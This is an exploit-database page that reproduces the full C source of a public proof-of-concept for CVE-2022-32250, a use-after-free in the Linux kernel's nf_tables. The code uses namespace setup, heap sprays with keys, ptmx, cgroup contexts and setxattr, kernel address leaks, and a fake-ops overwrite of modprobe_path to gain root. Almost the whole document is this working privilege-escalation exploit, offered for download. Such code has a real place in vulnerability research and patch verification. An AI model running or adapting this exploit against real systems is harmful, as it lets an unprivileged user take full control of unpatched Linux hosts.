Exploit database

GH-98cd6f3b53890ec8ab19c2e271d05efa

seadragnol/cve-2022-32250

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-32250

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
seadragnol/cve-2022-32250Revision da094c9b229f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.c

Suggested starting fileC · 27,586 bytes
#define _GNU_SOURCE
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
#include <netinet/in.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include <assert.h>
#include <inttypes.h>
#include <pthread.h>

#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>

#include <arpa/inet.h>

#include <keyutils.h>

#include "fuse_spray.h"

#define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define ERROR(msg) perror("[-] " msg)

#define SPRAY_NUM_OBJECTS 77
#define PRE_SPRAY_NUM_OBJECTS 77
#define POST_SPRAY_NUM_OBJECTS 77

#define modprobe_offset (vmlinux + 0x184ef00)
#define perf_swevent_del_offset (vmlinux + 0x15e160)
#define ptm_unix98_ops_offset 0x1276d60

char* table_name = "table";
char* chain_name = "chain";
struct mnl_socket* nl = NULL;
char* set_1_name = "set_1";
char* set_2_name = "set_2";
uint8_t family = NFPROTO_IPV4;
uint32_t set_id = 1;

uint64_t vmlinux = 0;
uint64_t set_1_addr, set_2_addr;

int32_t pre_spray[PRE_SPRAY_NUM_OBJECTS];
int32_t post_spray[POST_SPRAY_NUM_OBJECTS];

char spray_buf[1000];

void DumpHex(const void* data, size_t size)
{
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size) {
            printf(" ");
            if ((i + 1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i + 1 == size) {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i + 1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}

void write_to_file(const char* which, const char* format, ...)
{
    FILE* fu = fopen(which, "w");
    va_list args;
    va_start(args, format);
    if (vfprintf(fu, format, args) < 0) {
        ERROR("cannot write");
        exit(1);
    }
    fclose(fu);
}

void setup_user_and_network_ns(void)
{
    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER) < 0) {
        ERROR("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
    if (unshare(CLONE_NEWNET) < 0) {
        ERROR("[-] unshare(CLONE_NEWNET)");
        exit(EXIT_FAILURE);
    }

    // for syscall fsopen
    if (unshare(CLONE_NEWNS) < 0) {
        ERROR("unshare(CLONE_NEWNS)");
        exit(EXIT_FAILURE);
    }

    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        ERROR("sched_setaffinity");
        exit(EXIT_FAILURE);
    }

    // now we map uid and gid
    write_to_file("/proc/self/uid_map", "0 %d 1", uid);
    // deny setgroups (see user_namespaces(7))
    write_to_file("/proc/self/setgroups", "deny");
    // remap gid
    write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}

static struct nftnl_table* table_add_parse(char* table_name)
{
    struct nftnl_table* t;
    uint16_t family = AF_INET;
    t = nftnl_table_alloc();
    if (t == NULL) {
        ERROR("[!] Couldn't allocate a table");
        exit(EXIT_FAILURE);
    }

    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); // set the family
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name); // set the name

    return t;
}

static struct nftnl_chain* chain_add_parse(char* table_name, char* chain_name, int hooknum)
{
    struct nftnl_chain* t;

    t = nftnl_chain_alloc();
    if (t == NULL) {
        ERROR("[!] Couldn't allocate a chain");
        return NULL;
    }
    nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0); // set priority to 0
    nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
    return t;
}

static struct nftnl_set* setup_set(const char* table,
    const char* name, uint32_t flags, uint8_t family, uint32_t set_id)
{
    struct nftnl_set* s = NULL;

    s = nftnl_set_alloc();
    if (s == NULL) {
        ERROR("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
    nftnl_set_set_str(s, NFTNL_SET_NAME, name);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, flags);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
    nftnl_set_set_u32(s, NFTNL_SET_ID, set_id);

    // supplying a little bit of data is enough to push it over the edge and cause the set to be allocated on kmalloc-1k.
    char As[200];
    memset(As, 'A', sizeof(As));
    nftnl_set_set_str(s, NFTNL_SET_USERDATA, As);

    return s;
}

static struct nftnl_expr* alloc_lookup(char* set_name, uint32_t sreg)
{
    struct nftnl_expr* e;
    e = nftnl_expr_alloc("lookup");

    if (e == NULL) {
        ERROR("expr lookup oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, sreg);

    return e;
}

static struct nftnl_expr* alloc_dynset(char* set_name, uint32_t op, uint32_t sreg_key)
{
    struct nftnl_expr* e;
    e = nftnl_expr_alloc("dynset");

    if (e == NULL) {
        ERROR("expr lookup oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_str(e, NFTNL_EXPR_DYNSET_SET_NAME, set_name);
    nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_OP, op);
    nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_SREG_KEY, sreg_key);

    return e;
}

static struct nftnl_expr* alloc_connlimit(uint32_t count) {
    struct nftnl_expr* e;
    e = nftnl_expr_alloc("connlimit");

    if (e == NULL) {
        ERROR("expr connlimit oom");
        exit(EXIT_FAILURE);
    }

    // nftnl_expr_set_str(e, NFTNL_EXPR_DYNSET_SET_NAME, set_name);
    nftnl_expr_set_u32(e, NFTA_CONNLIMIT_COUNT, count);

    return e;
}

static void set_verdict(struct nftnl_rule* r, uint32_t verdict)
{
    struct nftnl_expr* e;
    e = nftnl_expr_alloc("immediate");

    if (e == NULL) {
        ERROR("expr immediate oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0); // 0 is verdict register
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict); // send the verdict
    nftnl_rule_add_expr(r, e);
}

static struct nftnl_rule* setup_rule_for_leak_set_1(uint8_t family, const char* table,
    const char* chain)
{
    struct nftnl_rule* r = NULL;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        ERROR("Couldn't allocate a rule");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

    // a valid lookup expression binds to set_1
    struct nftnl_expr* e = alloc_lookup(set_1_name, NFT_REG_1);
    nftnl_rule_add_expr(r, e);

    // *** SET THE VERDICT TO CONTINUE ***
    set_verdict(r, NFT_CONTINUE);
    return r;
}

static struct nftnl_rule* setup_rule_for_free_set_2(uint8_t family, const char* table,
    const char* chain)
{
    struct nftnl_rule* r = NULL;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        ERROR("Couldn't allocate a rule");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

    // a valid lookup expression binds to set_2
    struct nftnl_expr* e = alloc_lookup(set_2_name, NFT_REG_1);
    nftnl_rule_add_expr(r, e);

    // *** SET THE VERDICT TO CONTINUE ***
    set_verdict(r, NFT_CONTINUE);
    return r;
}

static struct nftnl_rule* setup_rule_for_destroy(uint8_t family, const char* table,
    const char* chain)
{
    struct nftnl_rule* r = NULL;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        ERROR("Couldn't allocate a rule");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

    // a valid lookup expression binds to fakeset_1
    struct nftnl_expr* e = alloc_lookup(set_2_name, NFT_REG_1);
    nftnl_rule_add_expr(r, e);

    // *** SET THE VERDICT TO CONTINUE ***
    set_verdict(r, NFT_CONTINUE);
    return r;
}

void win()
{
    INFO("*ROOT*");
    system("id");
    system("/bin/sh");
}

int32_t key_alloc(char* description, int8_t* payload, int32_t payload_len)
{
    return syscall(
        __NR_add_key,
        "user",
        description,
        payload,
        payload_len,
        KEY_SPEC_PROCESS_KEYRING);
}

void key_spray(int32_t* keys,
    int32_t spray_count,
    int8_t* payload,
    int32_t payload_len,
    char* description,
    int32_t description_len)
{
    for (int32_t i = 0; i < spray_count; i++) {
        snprintf(description + description_len, 100, "_%d", i);
        keys[i] = key_alloc(description, payload, payload_len);
        if (keys[i] == -1) {
            ERROR("add_key");
            break;
        }
    }
}

void INIT()
{
    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        ERROR("mnl_socket_open");
    }
    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        ERROR("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }

    // a table for the sets to be associated with
    struct nftnl_table* table = table_add_parse(table_name);

    // a chain for the rule to be associated with
    struct nftnl_chain* chain = chain_add_parse(table_name, chain_name, NF_INET_LOCAL_OUT);

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE];

    struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr* nlh;

    // table
    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE, family, 0, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    nftnl_table_free(table);
    mnl_nlmsg_batch_next(batch);

    // chain
    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    nftnl_chain_free(chain);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // submit
    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // batch stop
    mnl_nlmsg_batch_stop(batch);
}

void PRE_SPRAY_1k()
{
    for (int i = 0; i < PRE_SPRAY_NUM_OBJECTS; i++) {
        pre_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (pre_spray[i] == -1)
            ERROR("PRE_SPRAY /dev/ptmx");
    }
}

void POST_SPRAY_1k()
{
    for (int i = 0; i < POST_SPRAY_NUM_OBJECTS; i++) {
        post_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (post_spray[i] == -1)
            ERROR("POST_SPRAY /dev/ptmx");
    }
}

void SET_1_LEAK()
{
    char* set_name = NULL;

    // ===== SET 1 + rule with valid expression ======

    // set_1
    struct nftnl_set* set_1 = setup_set(table_name, set_1_name, NFT_SET_EVAL, family, set_id++);

    // a rule contains a valid (lookup/dynset/...) expression binds to set_1
    struct nftnl_rule* valid_rule = setup_rule_for_leak_set_1(family, table_name, chain_name);

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE];

    struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr* nlh;

    // set_1
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET, family,
        NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_1);
    nftnl_set_free(set_1);
    mnl_nlmsg_batch_next(batch);

    // rule with valid expression
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE, family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, valid_rule);
    nftnl_rule_free(valid_rule);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // ===== invalid set: rule with invalid expression ======

    // invalid set
    struct nftnl_set* invalid_set = setup_set(table_name, "invalid_set", NFT_SET_EXPR, family, set_id++);
    // invalid dynset expression point to set_1
    struct nftnl_expr* exprs = alloc_dynset(set_1_name, NFT_DYNSET_OP_ADD, NFT_REG_1);
    nftnl_set_add_expr(invalid_set, exprs);

    // serialize
    mnl_nlmsg_batch_reset(batch);

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // invalid set
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET, family,
        NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, invalid_set);
    nftnl_set_free(invalid_set);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // => dangling pointer appears
    // ===== SPRAY with user_key_payload ======

    // SPRAY
    int32_t keys[100];

    char key_description[100];
    memcpy(key_description, "key_description\0", 15 + 1);
    char key_payload[100] = "key_payload";
    memset(key_payload, 'A', 100);

    key_spray(keys, 100, key_payload, 70, key_description, 15);
    // END SPRAY

    // create delete rule request
    struct nftnl_rule* delete_rule = NULL;

    delete_rule = nftnl_rule_alloc();
    if (delete_rule == NULL) {
        ERROR("Couldn't allocate a rule");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(delete_rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(delete_rule, NFTNL_RULE_CHAIN, chain_name);

    // serialize
    mnl_nlmsg_batch_reset(batch);

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // delete rule
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELRULE, family,
        NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, delete_rule);
    nftnl_rule_free(delete_rule);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // batch stop
    mnl_nlmsg_batch_stop(batch);

    // ===== read user_key_payload to leak set 1 ======

    int32_t err;
    for (int i = 0; i < 100; i++) {
        err = syscall(
            __NR_keyctl,
            KEYCTL_READ,
            keys[i],
            key_payload,
            70);
        if (err == -1) {
            ERROR("keyctl_read");
        }

        uint64_t tmp = *(uint64_t*)&key_payload[0x30];
        if (strncmp((char*)&tmp, "AAAAAAAA", 8) != 0) {
            set_1_addr = tmp - 0x10;
            break;
        }
    }

    INFO("set_1_addr: 0x%lx", set_1_addr);
}

inline int fsopen(const char* fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

void cgroup_spray(int spray_count, int* array_cgroup, int start_index)
{
    int i = 0;
    for (i = 0; i < spray_count; i++) {
        int fd = fsopen("cgroup2", 0);
        if (-1 == fd) {
            ERROR("fsopen");
            break;
        }

        array_cgroup[start_index + i] = fd;
    }
}

void cgroup_free(int fd)
{
    close(fd);
}

void cgroup_free_array(int* cgroup, int count)
{
    for (int i = 0; i < count; i++) {
        cgroup_free(cgroup[i]);
    }
}

void TRIGGER_GC_INIT()
{
    struct nftnl_set* s;
    struct nftnl_set_elem* e;
    struct nftnl_expr* exprs;
    uint16_t data;

    s = nftnl_set_alloc();
    if (s == NULL) {
        ERROR("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, "\xff\xff");

    /* Add to dummy elements to set */
    e = nftnl_set_elem_alloc();
    if (e == NULL) {
        ERROR("OOM");
        exit(EXIT_FAILURE);
    }

    exprs = alloc_connlimit(10);
    nftnl_set_elem_add_expr(e, exprs);

    // (!nla[NFTA_SET_ELEM_KEY] && !(flags & NFT_SET_ELEM_CATCHALL)) == FALSE
    data = 0x1;
	nftnl_set_elem_set(e, NFTNL_SET_ELEM_KEY, &data, sizeof(data));
    nftnl_set_elem_add(s, e);

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE];

    struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr* nlh;

    // netsetelem
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM, family,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        ERROR("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    // batch stop
    mnl_nlmsg_batch_stop(batch);
}

void FREE_SET_2()
{
    char* set_name = NULL;
    uint8_t family = NFPROTO_IPV4;

    // ===== SET 2 + rule with valid expression ======

    // set_2
    struct nftnl_set* set_2 = setup_set(table_name, set_2_name, NFT_SET_EVAL, family, set_id++);

    // a rule contains a valid (lookup/dynset/...) expression binds to set_2
    struct nftnl_rule* valid_rule = setup_rule_for_free_set_2(family, table_name, chain_name);

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE];

    struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr* nlh;

    // set_1
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET, family,
        NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_2);
    nftnl_set_free(set_2);
    mnl_nlmsg_batch_next(batch);

    // rule with valid expression
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE, family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, valid_rule);
    nftnl_rule_free(valid_rule);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // ===== invalid set: rule with invalid expression ======

    // invalid set
    struct nftnl_set* invalid_set = setup_set(table_name, "invalid_set", NFT_SET_EXPR, family, set_id++);
    // invalid dynset expression to set_2
    struct nftnl_expr* exprs = alloc_dynset(set_2_name, NFT_DYNSET_OP_ADD, NFT_REG_1);
    nftnl_set_add_expr(invalid_set, exprs);

    // serialize
    mnl_nlmsg_batch_reset(batch);

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // invalid set
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET, family,
        NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, invalid_set);
    nftnl_set_free(invalid_set);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // => dangling pointer appears
    // ===== SPRAY with cgroup_fs_context ======

    // SPRAY
    int array_cgroup[100];

    cgroup_spray(100, array_cgroup, 0);
    // END SPRAY

    // create delete rule request
    struct nftnl_rule* delete_rule = NULL;

    delete_rule = nftnl_rule_alloc();
    if (delete_rule == NULL) {
        ERROR("Couldn't allocate a rule");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(delete_rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(delete_rule, NFTNL_RULE_CHAIN, chain_name);

    // serialize
    mnl_nlmsg_batch_reset(batch);

    // batch begin
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // add remove rule
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELRULE, family,
        NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, delete_rule);
    nftnl_rule_free(delete_rule);
    mnl_nlmsg_batch_next(batch);

    // batch end
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
            mnl_nlmsg_batch_size(batch))
        < 0) {
        ERROR("mnl_socket_send");
    }

    // batch stop
    mnl_nlmsg_batch_stop(batch);

    // cgroup_free => free set 2
    cgroup_free_array(array_cgroup, 100);
}

void SPRAY_FAKESET_1()
{
   memset(spray_buf, 0, sizeof(spray_buf));

    uint64_t offset_to_size_ffff = 0x4c;
    ((uint64_t*)spray_buf)[0x4] = set_1_addr + offset_to_size_ffff; // name -> 0xffff
    ((uint64_t*)spray_buf)[0xe] = set_1_addr; // udata -> set_1 + nani + tty_struct
    ((uint16_t*)spray_buf)[0x37] = 1024 * 2 + 0x20; // udlen = 2 chunks and tty_struct->ops

    spray_setup(spray_buf, sizeof(spray_buf), SPRAY_NUM_OBJECTS);

    spray_do();
    sleep(2);
}

static int set_cb(const struct nlmsghdr* nlh, void* data)
{
    struct nftnl_set* t;
    char buf[4096];
    uint32_t* type = data;

    t = nftnl_set_alloc();
    if (t == NULL) {
        ERROR("OOM");
        goto err;
    }

    if (nftnl_set_nlmsg_parse(nlh, t) < 0) {
        ERROR("nftnl_set_nlmsg_parse");
        goto err_free;
    }

    nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);

    if (strstr(buf, "\xff\xff") != NULL) {

        uint64_t udata = *(uint64_t*)((uint64_t)t + 0x58);
        // DumpHex((void*)udata, 1024 * 2 + 0x20);
        set_2_addr = ((uint64_t*)udata)[0];
        vmlinux = ((uint64_t*)udata)[0x103] - ptm_unix98_ops_offset;

        INFO("set_2_addr: 0x%lx", set_2_addr);
        INFO("vmlinux: 0x%lx", vmlinux);
    }

err_free:
    nftnl_set_free(t);
err:
    return MNL_CB_OK;
}

void LEAK_SET_2_ADDR_AND_VMLINUX()
{
    uint32_t type = NFTNL_OUTPUT_DEFAULT;

    struct nftnl_set* s = nftnl_set_alloc();
    if (s == NULL) {
        ERROR("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, "\xff\xff");

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE];

    int seq = 0;
    struct nlmsghdr* nlh;

    // set
    nlh = nftnl_table_nlmsg_build_hdr(buf,
        NFT_MSG_GETSET, family, NLM_F_DUMP | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);

    struct mnl_socket* nl;

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        ERROR("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        ERROR("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }

    uint32_t portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        ERROR("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));

    while (ret > 0) {
        ret = mnl_cb_run(buf, ret, seq, portid, set_cb, &type);
        if (ret <= 0)
            break;
        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    }

    if (ret == -1) {
        ERROR("getset cb");
        exit(EXIT_FAILURE);
    }

    mnl_socket_close(nl);

    if (vmlinux == 0) {
        ERROR("get vmlinux failed!");
        exit(EXIT_FAILURE);
    }

}

void FAKE_OPS_SET_2()
{
    // 1: release all setxattr
    // 2: re spray setxattr
    //      - list_head_init
    //      - old name
    //      - fake ops to data region
    //      - ok let's go
    spray_free();
    sleep(2);

    memset(spray_buf, 0, sizeof(spray_buf));

    uint64_t offset_to_size_ffff = 0x4c;

    *(uint64_t*)&spray_buf[0x10 - 0x10] = set_2_addr + 0x10; // bindings->next = &bindings
    *(uint64_t*)&spray_buf[0x18 - 0x10] = set_2_addr + 0x10; // bindings->prev = &bindings
    *(uint64_t*)&spray_buf[0x30 - 0x10] = set_1_addr + offset_to_size_ffff; // name -> 0xffff
    *(uint64_t*)&spray_buf[0xc0 - 0x10] = set_2_addr + 0xf0 - 0x70; // ops -> 0xf0 (data offset in struct nft_set), 0x70 (gc_init offset in struct nft_set_ops)
    *(uint16_t*)&spray_buf[0xc8 - 0x10] = 0x0000; // flags all 0 and genmask = 0
    *(uint64_t*)&spray_buf[0xf0 - 0x10] = perf_swevent_del_offset;

    memcpy(&spray_buf[0x60 - 0x10], "/tmp/x\x00", 7);
    *(uint64_t*)&spray_buf[0x68 - 0x10] = modprobe_offset;

    spray_setup(spray_buf, sizeof(spray_buf), SPRAY_NUM_OBJECTS * 2);
    spray_do();
    sleep(2);
}

int main()
{
    INFO("CVE-2022-32250 LPE Exploit by @longhh");
    system("id");

    pid_t process_id = getpid(); // pid will not be changed by namespace creation
    struct nftnl_rule* r;

    spray_init_fuse_fs();

    INFO("Setting up user+network namespace sandbox");
    setup_user_and_network_ns();
    system("ip link set dev lo up"); // setting the loopback up

    // START
    INIT();

    PRE_SPRAY_1k(); // pre spray set 1
    SET_1_LEAK(); // alloc set 1 + leak
    POST_SPRAY_1k(); // post spray set 1

    FREE_SET_2(); // exploit uaf to free set 2
    SPRAY_FAKESET_1(); // spray fakeset_1 to set 2

    LEAK_SET_2_ADDR_AND_VMLINUX();

    FAKE_OPS_SET_2();

    // INFO("press to trigger gc_init");
    // getchar();

    TRIGGER_GC_INIT();

    // The program will hang inside the TRIGGER_GC_INIT function due to a kernel oops (i guess).

    return 0;
}